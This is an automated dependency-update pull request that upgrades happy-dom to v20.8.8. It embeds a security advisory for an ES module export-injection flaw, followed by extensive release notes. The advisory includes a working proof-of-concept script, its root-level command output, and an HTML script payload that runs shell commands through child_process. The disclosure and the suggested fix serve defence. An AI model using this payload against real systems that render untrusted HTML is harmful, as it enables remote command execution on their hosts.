chore(deps): update dependency happy-dom to v20 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	^17.4.4 → ^20.8.8

GitHub Vulnerability Alerts

CVE-2026-33943

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>

Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

• SSR applications: Applications using happy-dom to render user-supplied HTML on the server
• Web scraping: Applications parsing untrusted web pages with happy-dom
• Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}

---

Release Notes

capricorn86/happy-dom (happy-dom)

v20.8.8

Compare Source

👷‍♂️ Patch fixes

• Fixes issue where export names can be interpolated as executable code in ESM - By @​capricorn86 in task #​2113
  • A security advisory (GHSA-6q6h-j7hj-3r64) has been reported that shows a security vulnerability where it's possible to escape the VM context and get access to process level functionality. Big thanks to @​tndud042713 for reporting this!

v20.8.7

Compare Source

v20.8.6

Compare Source

v20.8.5

Compare Source

v20.8.4

Compare Source

v20.8.3

Compare Source

👷‍♂️ Patch fixes

• Throw error if event is not of type Event in dispatchEvent - By @​capricorn86 in task #​2054

v20.8.2

Compare Source

👷‍♂️ Patch fixes

• Resets Event.cancelBubble and Event.defaultPrevented when calling Event.initEvent() - By @​capricorn86 in task #​2090

v20.8.1

Compare Source

👷‍♂️ Patch fixes

• Make "inert" attribute block focus interactions - By @​coffeeandwork in task #​1422

v20.8.0

Compare Source

v20.7.2

Compare Source

👷‍♂️ Patch fixes

• Properly decode CSS escape sequences in attribute selector values - By @​silverwind

v20.7.1

Compare Source

v20.7.0

Compare Source

🎨 Features

• Adds support for Window.getScreenDetails() - By @​TrevorBurnham in task #​1923
• Extends Screen from EventTarget - By @​TrevorBurnham in task #​1923

v20.6.5

Compare Source

👷‍♂️ Patch fixes

• Add clearImmediate to Jest environment global scope - By @​TrevorBurnham in task #​1927

v20.6.4

Compare Source

👷‍♂️ Patch fixes

• Normalize invalid input type attribute to "text" per HTML spec - By @​atzzCokeK in task #​2053

v20.6.3

Compare Source

👷‍♂️ Patch fixes

• Refactors query selector parser to be able to handle complex rules - By @​capricorn86 in task #​1910
• Fixes issue related to using query selector for attribute in XML document - By @​capricorn86 in task #​1912
• Fixes issue with using quotes within quotes for attribute query selector (e.g. [data-value="it's a test"]) - By @​capricorn86 in task #​2034

v20.6.2

Compare Source

👷‍♂️ Patch fixes

• Update entities package version to resolve missing export for vue and vue-compat v3.5 - By @​acollins1991 in task #​2066

v20.6.1

Compare Source

v20.6.0

Compare Source

v20.5.5

Compare Source

v20.5.4

Compare Source

👷‍♂️ Patch fixes

• Implement Text.wholeText property - By @​aki05162525 in task #​1959

v20.5.3

Compare Source

v20.5.2

Compare Source

v20.5.1

Compare Source

v20.5.0

Compare Source

v20.4.0

Compare Source

🎨 Features

• Adds support for caching the compiled code of EcmaScript modules - By @​capricorn86 in task #​2049
• Improves the way nodes are destroyed and garbage collected - By @​capricorn86 in task #​2049

v20.3.9

Compare Source

👷‍♂️ Patch fixes

• Accept Document nodes as valid boundary points in Selection API - By @​skoch13 in task #​1952

v20.3.8

Compare Source

👷‍♂️ Patch fixes

• The getters for the properties focusNode and focusOffset in the Selection API returned incorrect values - By @​skoch13 in task #​1850

v20.3.7

Compare Source

👷‍♂️ Patch fixes

• Updates README.md for the "@​happy-dom/server-renderer" package - By @​capricorn86 in task #​2035

v20.3.6

Compare Source

👷‍♂️ Patch fixes

• Fixes issue where it wasn't possible to toggle the "open" attribute of <details> by clicking on a child of the <summary> element - By @​Nxooah in task #​1928

v20.3.5

Compare Source

👷‍♂️ Patch fixes

• Use internal property for "location" in BrowserFrameURL to avoid mock interference - By @​marchaos in task #​1964
• Add optional chaining to the "hostname" and pathname" properties to check if they are undefined in CookieURLUtility - By @​marchaos in task #​1968

v20.3.4

Compare Source

v20.3.3

Compare Source

v20.3.2

Compare Source

v20.3.1

Compare Source

👷‍♂️ Patch fixes

• Normalizes the "format" parameter according to the HTML specification in DataTransfer.getData() - By @​marchaos in task #​1965
• Handle partial responses in XMLHttpRequest - By @​rexxars in task #​1890

v20.3.0

Compare Source

🎨 Features

• Use RegExp to convert ASCII character casing to improve performance - By @​TrevorBurnham in task #​1886

v20.2.0

Compare Source

🎨 Features

• Use Element.classList.contains() instead of splitting className in query selectors to improve performance as it's cached - By @​TrevorBurnham in task #​1884

v20.1.1

Compare Source

👷‍♂️ Patch fixes

• Fixes caching in querySelector() - By @​TrevorBurnham in task #​1882
• Avoid sort in querySelector() to improve performance - By @​TrevorBurnham in task #​1882

v20.1.0

Compare Source

🎨 Features

• Adds support for BrowserPage.evaluateModule() and BrowserFrame.evaluateModule() - By @​capricorn86 in task #​1944
• Adds support for module to the browser settings - By @​capricorn86 in task #​1944
  • This makes it possible to add a custom resolver or a node module resolver
• Adds support for dynamic import() to JavaScript evaluation - By @​capricorn86 in task #​1944
  • It was previously only supported when using type="module" on script elements
• Adds support for WebSocket - By @​capricorn86 in task #​1944
• Adds support for CloseEvent - By @​capricorn86 in task #​1944
• Adds support for render.setupScript and render.mode to the configuration in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944
• Changes name from urls to renderItems in the configuration in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944
• Adds support for rendering strings in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944
• Makes JavaScript evaluation disabled by default in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944

👷‍♂️ Patch fixes

• Several fixed to the EcmaScript module compiler (esm) - By @​capricorn86 in task #​1944
• Fixes issue where rendering using Worker's didn't work in @​happy-dom/server-renderer - By @​capricorn86 in task #​1944

v20.0.11

Compare Source

v20.0.10

Compare Source

v20.0.9

Compare Source

v20.0.8

Compare Source

👷‍♂️ Patch fixes

• Fixes issue where previousSibling() and nextSibling() didn't work in HTMLSelectElement and HTMLFormElement - By @​capricorn86 in task #​1939
• Fixes issue where parsing an item without a permitted parent (e.g. <tr>) should be valid inside a <template> element - By @​capricorn86 in task #​1939

v20.0.7

Compare Source

👷‍♂️ Patch fixes

• Fix incorrect handling of >= operator in media query parser - By @​lkritsimas in task #​1869

v20.0.6

Compare Source

👷‍♂️ Patch fixes

• Changes implementation for DOMTokenList.forEach(), Headers.forEach() and NodeList.forEach() to be spec compliant - By @​ikeyan in task #​1858

v20.0.5

Compare Source

👷‍♂️ Patch fixes

• The setter TreeWalker.currentNode should validate if the value is a Node - By @​capricorn86 in task #​1935

v20.0.4

Compare Source

👷‍♂️ Patch fixes

• Only adds buttons to FormData if they are the submitter - By @​maxmil and @​
  karpiuMG in task #​1859

v20.0.3

Compare Source

👷‍♂️ Patch fixes

• Moves URL resolution to after checking if module preloading is enabled to prevent URL errors to be thrown when unresolvable - By @​iam-medvedev in task #​1851
• Fixes issue where CSS variables aren't parsed correctly when inside CSS functions - By @​fimion in task #​1837

v20.0.2

Compare Source

👷‍♂️ Patch fixes

• Adds frozen intrinsics flag to workers in @happy-dom/server-renderer - By @​capricorn86 in task #​1934

v20.0.1

Compare Source

👷‍♂️ Patch fixes

• Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By @​capricorn86 in task #​1932
  • A security advisory has been reported showing that the recommended preventive measure of running Node.js with --disallow-code-generation-from-strings wasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @​cristianstaicu for reporting this!
  • The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in the Wiki

v20.0.0

Compare Source

I avoid making breaking changes as much as possible in Happy DOM. When I have to make a breaking change, I try to keep it as minimal as possible. This could be a breaking change that impacts many projects, and I am truly sorry if you are negatively affected by this.

💣 Breaking Changes

• Due to security risks, JavaScript evaluation is now disabled by default - By @​capricorn86 in task #​1930
  • A security advisory (GHSA-37j7-fg3j-429f) has been reported that shows a security vulnerability where it's possible to escape the VM context and get access to process level functionality. Big thanks to @​Mas0nShi for reporting this!
  • Due to this security risk, JavaScript evaluation is now disabled by default to prevent that consumers accidentally executes untrusted code without taking precautions
  • JavaScript evaluation can be enabled by setting enableJavaScriptEvaluation to "true". Read more about how to enable this in a safer way in the Wiki

v19.0.2

Compare Source

👷‍♂️ Patch fixes

• Fixes issue related to CSS pseudo selector :scope that didn't work correctly for direct descendants to root - By @​capricorn86 in task #​1620

v19.0.1

Compare Source

👷‍♂️ Patch fixes

• Fixes issue with sending in URLs as string in @happy-dom/server-renderer config using CLI - By @​capricorn86 in task #​1908

v19.0.0

Compare Source

💣 Breaking Changes

• Removes support for CommonJS - By @​capricorn86 in task #​1730
  • Support for CommonJS is no longer needed as Node.js v18 is deprecated and v20 and above supports loading ES modules from CommonJS using require()
• Updates Jest to v30 in the @happy-dom/jest-environment package - By @​capricorn86 in task #​1730
• Makes Jest packages peer dependencies to make it easier to align versions with the project using @happy-dom/jest-environment - By @​capricorn86 in task #​1730

🎨 Features

• Adds a new package called @happy-dom/server-renderer - By @​capricorn86 in task #​1730
  • This package provides a simple way to statically render (SSG) or server-side render (SSR) your client-side application
  • Read more in the Wiki under Server-Renderer
• Adds support for import.meta to the ESM compiler - By @​capricorn86 in task #​1730
• Adds support for the CSS pseudo selector :scope - By @​capricorn86 in task #​1620
• Improves support for MediaList - By @​capricorn86 in task #​1730
• Adds support for CSSKeywordValue, CSSStyleValue, StylePropertyMap, StylePropertyMap, StylePropertyMapReadOnly - By @​capricorn86 in task #​1730
• Improves debug information in the ESM compiler - By @​capricorn86 in task #​1730
• Adds validation of browser settings when creating a new Browser instance - By @​capricorn86 in task #​1730
• Adds support for the browser setting navigation.beforeContentCallback which makes it possible to inject event listeners or logic before content is loaded to the document when navigating a browser frame - By @​capricorn86 in task #​1730
• Adds support for the browser setting fetch.requestHeaders which provides with a declarative and simple way to add request headers - By @​capricorn86 in task #​1730
• Adds support for setting an object to timer.preventTimerLoops which makes it possible to define different settings for setTimeout() and requestAnimationFrame() - By @​capricorn86 in task #​1730
• Adds support for the browser setting viewport which makes it possible to define a default viewport size - By @​capricorn86 in task #​1730
• Adds support for the parameters beforeContentCallback and headers to BrowserFrame.goto(), BrowserFrame.goBack(), BrowserFrame.goForward(), BrowserFrame.goSteps() and BrowserFrame.reload() - By @​capricorn86 in task #​1730
• Adds support for PopStateEvent and trigger the event when navigating the page history using History.pushState() - By @​capricorn86 in task #​1730
• Use local file paths for virtual server files in stack traces - By @​capricorn86 in task #​1730
• Adds support for ResponseCache.fileSystem.load() and ResponseCache.fileSystem.save() for storing and loading cache from the file system - By @​capricorn86 in task #​1730

👷‍♂️ Patch fixes

• Fixes a bug in the ESM compiler that caused it to fail to parse certain code - By @​capricorn86 in task #​1730
• Disables the same origin policy when navigating a browser frame using BrowserFrame.goto() - By @​capricorn86 in task #​1730
• Fixes bug where CSS selectors with the pseudos "+" and ">" failed for selectors without arguments - By @​capricorn86 in task #​1730
• Adds try and catch to listeners for events dispatched from XMLHttpRequest to prevent it from being set to an invalid state if a listener throws an Error - By @​capricorn86 in task #​1730

v18.0.1

Compare Source

👷‍♂️ Patch fixes

• Addresses an issue where an error occurred if the Element ID was set to the same name as a Window property with a null value - By @​capricorn86 in task #​1841

v18.0.0

Compare Source

💣 Breaking Changes

• Makes the types for Happy DOM strict - By @​capricorn86 in task #​1154
  • This makes it possible to use the option skipLibCheck set to "false" in the typescript configuration for projects with a strict configuration
  • This change has resulted in that some types has changed and is therefore considered as a breaking change
• BrowserContext.close() now throws an error when trying to close the default context of a browser - By @​capricorn86 in task #​1154

🎨 Features

• Adds support for Browser.closed, BrowserContext.closed, BrowserPage.closed and BrowserFrame.closed - By @​capricorn86 in task #​1154
• Adds support for VirtualConsolePrinter.close() and VirtualConsolePrinter.closed - By @​capricorn86 in task #​1154
• Adds support for CookieContainer.clearCookies() - By @​capricorn86 in task #​1154

v17.6.3

Compare Source

👷‍♂️ Patch fixes

• Removes global typescript definition that was used for custom elements - By @​capricorn86 in task #​1154

v17.6.2

Compare Source

👷‍♂️ Patch fixes

• Updates Typescript to the latest version - By @​capricorn86 in task #​1154

v17.6.1

Compare Source

🎨 Features

• Adds support for disabling validation of certificates, to allow for self-signed certificates to be used - By @​capricorn86 in task #​1763
  • Read more about the new setting fetch.disableStrictSSL under IBrowserSettings in the Wiki

v17.6.0

Compare Source

v17.5.9

Compare Source

👷‍♂️ Patch fixes

• Adds missing null check in HTMLLinkElement for a browser frame property that becomes null during teardown of a Window - By @​capricorn86 in task #​1800

v17.5.8

Compare Source

👷‍♂️ Patch fixes

• Incorrect cache matching caused Element.classList to return the wrong items - By @​capricorn86 in task #​1812

v17.5.7

Compare Source

👷‍♂️ Patch fixes

• Handle wider range of valid characters in unquoted attribute value parsing - By @​AudunWA in task #​1817

v17.5.6

Compare Source

👷‍♂️ Patch fixes

• Removes the min and max boundary check when setting the value of an input field of type "date" - By @​zgrybus in task #​1815

v17.5.5

Compare Source

v17.5.4

Compare Source

👷‍♂️ Patch fixes

• Fixes issue where the body of a ReadableStream was locked after being cloned - By @​MarcMcIntosh in task #​1493

v17.5.3

Compare Source

👷‍♂️ Patch fixes

• Adds previousSibling and nextSibling to MutationObserver records when a child is removed - By @​uxuip in task #​1803

v17.5.2

Compare Source

👷‍♂️ Patch fixes

• Adds support for the unicode characters « and » in query selectors used by the React 19.1 "useId" hook - By @​terrymun in task #​1785

v17.5.1

Compare Source

👷‍♂️ Patch fixes

• Existing URL query string should be overwritten on form submit when method is "GET" - By @​rslabbert in task #​1786

v17.5.0

Compare Source

🎨 Features

• Adds support for XMLHttpRequest.overrideMimeType() - By @​maxmil in task #​1782

v17.4.9

Compare Source

👷‍♂️ Patch fixes

• A disabled input element should not be parsed in FormData - By @​juandiegombr in task #​1790

v17.4.8

Compare Source

👷‍♂️ Patch fixes

• Fixes issue where CSS variables where not being parsed in color functions - By @​hampustagerud in task #​1822

v17.4.7

Compare Source

👷‍♂️ Patch fixes

• Allow empty URL string in Request - By @​elierotenberg in task #​1779

v17.4.6

Compare Source

👷‍♂️ Patch fixes

• Preserve slashes in the "name" property in File - By @​dyabol in task #​1788

v17.4.5

Compare Source

👷‍♂️ Patch fixes

• Handle bubbling click events in HTMLAnchorElement - By @​maxmil in task #​1775

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.